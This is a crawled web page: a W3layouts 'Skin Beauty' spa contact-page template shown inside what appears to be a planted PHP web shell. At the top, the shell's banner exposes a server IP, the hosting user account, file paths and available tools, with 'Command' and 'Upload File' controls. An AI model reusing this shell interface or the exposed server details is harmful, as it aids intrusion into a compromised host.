|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/agriba/admin/site/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!--
Author: W3layouts
Author URL: http://w3layouts.com
License: Creative Commons Attribution 3.0 Unported
License URL: http://creativecommons.org/licenses/by/3.0/
-->
<!DOCTYPE html>
<html lang="zxx">
<head>
<title>Skin Beauty Beauty & Spa Category Bootstrap Responsive Web Template | Contact Us :: W3layouts</title>
<!-- Meta tag Keywords -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="UTF-8" />
<meta name="keywords" content="Skin Beauty Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" />
<script>
addEventListener("load", function () {
setTimeout(hideURLbar, 0);
}, false);
function hideURLbar() {
window.scrollTo(0, 1);
}
</script>
<!-- //Meta tag Keywords -->
<!-- Custom-Files -->
<link rel="stylesheet" href="css/bootstrap.css">
<!-- Bootstrap-Core-CSS -->
<link rel="stylesheet" href="css/style.css" type="text/css" media="all" />
<!-- Style-CSS -->
<link href="css/font-awesome.min.css" rel="stylesheet">
<!-- Font-Awesome-Icons-CSS -->
<!-- //Custom-Files -->
<!-- Web-Fonts -->
<link href="//fonts.googleapis.com/css?family=Nunito+Sans:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i&subset=latin-ext,vietnamese"
rel="stylesheet">
<link href="//fonts.googleapis.com/css?family=Roboto+Condensed:300,300i,400,400i,700,700i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese"
rel="stylesheet">
<!-- //Web-Fonts -->
</head>
<body>
<!-- main banner -->
<div class="main-top" id="home">
<!-- header -->
<header>
<div class="container-fluid">
<div class="header d-md-flex justify-content-between align-items-center py-3 px-xl-5 px-lg-3 px-2">
<!-- logo -->
<div id="logo">
<h1><a class="" href="index.html">Skin Beauty</a></h1>
</div>
<!-- //logo -->
<!-- nav -->
<div class="nav_w3ls">
<nav>
<label for="drop" class="toggle">Menu</label>
<input type="checkbox" id="drop" />
<ul class="menu">
<li><a href="index.html">Home</a></li>
<li class="mx-lg-4 mx-md-3 my-md-0 my-2"><a href="about.html">About Us</a></li>
<li><a href="gallery.html">Gallery</a></li>
<li class="mx-lg-4 mx-md-3 my-md-0 my-2">
<!-- First Tier Drop Down -->
<label for="drop-2" class="toggle toogle-2">Dropdown <span class="fa fa-angle-down" aria-hidden="true"></span>
</label>
<a href="#">Dropdown <span class="fa fa-angle-down" aria-hidden="true"></span></a>
<input type="checkbox" id="drop-2" />
<ul>
<li><a href="index.html" class="drop-text">Services</a></li>
<li><a href="blog.html" class="drop-text">Blog</a></li>
<li><a href="single.html" class="drop-text">Single Page</a></li>
<li><a href="about.html" class="drop-text">Testimonials</a></li>
</ul>
</li>
<li><a href="contact.html" class="active">Contact Us</a></li>
</ul>
</nav>
</div>
<!-- //nav -->
</div>
</div>
</header>
<!-- //header -->
<!-- banner -->
<div class="banner_w3lspvt-2">
</div>
<!-- //banner -->
</div>
<!-- //main banner -->
<!-- page details -->
<div class="breadcrumb-agile">
<ol class="breadcrumb">
<li class="breadcrumb-item">
<a href="index.html">Home</a>
</li>
<li class="breadcrumb-item active" aria-current="page">Contact Us</li>
</ol>
</div>
<!-- //page details -->
<!-- contact -->
<section class="contact py-5">
<div class="container py-xl-5 py-lg-3">
<h3 class="title text-center text-bl font-weight-bold mb-1">Contact Us</h3>
<p class="title-sub text-center mb-sm-5 mb-4">Caption placed here</p>
<div class="contact-form mx-auto text-left">
<form method="post" action="#">
<div class="row">
<div class="col-lg-4 con-gd">
<div class="form-group">
<label>Name *</label>
<input type="text" class="form-control" placeholder="Enter Name" name="name" required>
</div>
</div>
<div class="col-lg-4 con-gd">
<div class="form-group">
<label>Email *</label>
<input type="email" class="form-control" placeholder="Enter Email" name="email" required>
</div>
</div>
<div class="col-lg-4 con-gd">
<div class="form-group">
<label>Phone No. *</label>
<input type="text" class="form-control" placeholder="Enter Phone no." name="phone" required>
</div>
</div>
</div>
<div class="form-group mt-4 mb-5">
<label>How can we help?</label>
<textarea name="message" class="form-control" placeholder="Enter Your Message Here" required></textarea>
</div>
<div class="contact-page">
<button type="submit" class="btn btn-default">Submit</button>
</div>
</form>
</div>
</div>
</section>
<!-- //contact -->
<!-- map -->
<div class="map p-2">
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d100949.24429313939!2d-122.44206553967531!3d37.75102885910819!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x80859a6d00690021%3A0x4a501367f076adff!2sSan+Francisco%2C+CA%2C+USA!5e0!3m2!1sen!2sin!4v1472190196783"
class="map" style="border:0" allowfullscreen=""></iframe>
</div>
<!-- //map -->
<!-- footer -->
<footer class="footer-w3ls py-5">
<div class="container py-sm-4">
<div class="row">
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid">
<!-- logo -->
<div class="logo-2 mb-sm-4 mb-3">
<h2><a href="index.html">Skin Beauty</a></h2>
</div>
<!-- //logo -->
<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid mt-sm-0 mt-5">
<h4 class="mb-sm-5 mb-4">Recent Articles</h4>
<ul class="list-unstyled">
<li>
<span class="fa fa-angle-double-right mr-2"></span> Ut enim ad minima ven aiam</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span> Fugiat nulla pariatur
</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span> Olor in repreh enderit</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span>Duis aute irure dolor</li>
</ul>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid pl-lg-0 mt-lg-0 mt-5">
<h4 class="mb-sm-5 mb-4">Instagram Posts</h4>
<div class="d-flex">
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f1.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f2.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f3.jpg" alt=" " class="img-fluid">
</a>
</div>
</div>
<div class="d-flex mt-2">
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f4.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f5.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f6.jpg" alt=" " class="img-fluid">
</a>
</div>
</div>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid mt-lg-0 mt-5">
<h4 class="mb-sm-5 mb-4">Address</h4>
<ul class="list-unstyled">
<li>
<span class="fa fa-map-marker mr-2"></span> 738 Diamond Road, New York</li>
<li>
<span class="fa fa-envelope mr-2"></span>
<a href="mailto:info@example.com">info@example.com</a>
</li>
<li>
<span class="fa fa-phone mr-2"></span> (0123) 0111 111 222</li>
<li>
<span class="fa fa-clock-o mr-2"></span>Everyday 9:00-17:00</li>
</ul>
</div>
</div>
</div>
</footer>
<!-- //footer -->
<!-- footer last -->
<div class="newsletter-main text-center py-md-5 py-4">
<div class="container">
<a href="#home" class="move-top text-center"></a>
<!-- newsletter -->
<div class="agileinfo_footer_grid mt-3">
<h4 class="mb-4">Subscribe Here</h4>
<form action="#" method="post" class="newsletter">
<input class="email" type="email" name="email" placeholder="Your email..." required>
<button type="submit" class="btn">Subscribe</button>
</form>
<div class="clearfix"> </div>
</div>
<!-- //newsletter -->
<!-- copyright -->
<div class="w3agile_footer_copy mt-sm-5 mt-4">
<p>© 2019 Skin Beauty. All rights reserved | Design by
<a href="http://w3layouts.com/">W3layouts.</a>
</p>
</div>
<!-- //copyright -->
</div>
</div>
<!-- //footer last -->
</body>
</html>